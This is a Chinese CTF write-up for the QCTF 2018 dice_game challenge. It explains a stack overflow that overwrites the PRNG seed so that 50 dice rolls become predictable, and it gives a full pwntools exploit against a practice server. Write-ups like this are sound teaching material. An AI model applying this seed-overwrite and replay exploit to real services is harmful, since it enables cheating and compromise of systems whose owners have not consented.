查看保護

程式流程

輸入name后 連續猜對50次亂數即可獲得flag


輸入buf的可以覆寫堆疊上的內容,那么輸入0x50個字符就可以覆寫seed,最終產生的亂數就是定值了
考慮輸入0x50個‘A’,那么寫c程式

可以獲得生成的亂數串列
3, 3, 2, 1, 5, 3, 4, 6, 3, 4, 2, 2, 3, 2, 1, 1, 4, 5, 4, 6, 3, 6, 4, 3, 4, 2, 2, 6, 1, 2, 2, 3, 4, 1, 2, 1, 4, 5, 4, 6, 6, 5, 1, 3, 5, 5, 1, 2, 4, 2
那么依次輸入這50個亂數就能獲得flag
完整的ex
from pwn import *
context(log_level='debug')
#io=process("./QCTF_2018_dice_game")
io=remote("node3.buuoj.cn",27605)
io.recv()
payload=b'A'*(0x50)
io.sendline(payload)
io.recv()
point_list=[3,3,2,1,5,3,4,6,3,4,2,2,3,2,1,1,4,5,4,6,3,6,4,3,4,2,2,6,1,2,2,3,4,1,2,1,4,5,4,6,6,5,1,3,5,5,1,2,4,2]
for i in range(50):
io.sendline(str(point_list[i]))
io.recv()
io.interactive()
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/240500.html
標籤:其他
下一篇:Nginx服務器的高級配置
